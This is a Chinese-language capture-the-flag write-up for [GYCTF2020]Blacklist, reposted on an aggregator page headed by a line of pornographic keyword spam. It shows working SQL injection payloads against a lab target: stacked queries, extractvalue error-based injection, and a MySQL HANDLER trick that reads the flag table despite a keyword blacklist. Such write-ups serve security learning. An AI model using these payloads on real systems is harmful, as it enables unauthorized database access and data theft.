日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[GYCTF2020]Blacklist 1

發布時間:2024/3/7 编程问答 43 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [GYCTF2020]Blacklist 1 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[GYCTF2020]Blacklist 1

在做本題的時候,我們發現過濾掉了很多的關鍵字

很多注入方法已經沒有辦法使用(聯合查詢 布爾盲注 updataxml的報錯注入)
并且發現本關的注入方法為 單引號
只能使用 堆疊注入 來進行查詢查尋 庫名 表名

1';show databases-- q


庫名:supersqli

在這里 因為沒有禁用 extractvalue 所以在這里我們可以構造出 extractvalue 報錯注入 來查詢庫名

1' and (extractvalue(1,concat(0x7e,database(),0x7e)))-- q

1';show tables-- q

表名:words 和 FlagHere
分別查看這兩個表

1'; show columns from `words`-- q

1'; show columns from `FlagHere`-- q


words表里有兩個屬性,即兩列:id 和data,而FlagHere表里只有一個屬性列,說明輸入框可能查詢的就是words表
很像我們做過的隨便注

但,在這一關過濾掉了flag和rename,并且不區分大小寫 換句話說我們沒有辦法像隨便住那樣將 flaghere這個表改名為words
所以我們需要嘗試別的思路 Handler

MySQL 除了可以使用 select 查詢表中的數據,也可使用 handler 語句,這條語句使我們能夠一行一行的瀏覽一個表中的數據,不過handler 語句并不具備 select 語句的所有功能。它是 MySQL 專用的語句,并沒有包含到SQL標準中。

HANDLER … OPEN語句打開一個表
HANDLER … READ語句訪問
HANDLER … CLOSE關閉一個表

構造payload:

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

總結

以上是生活随笔為你收集整理的[GYCTF2020]Blacklist 1的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。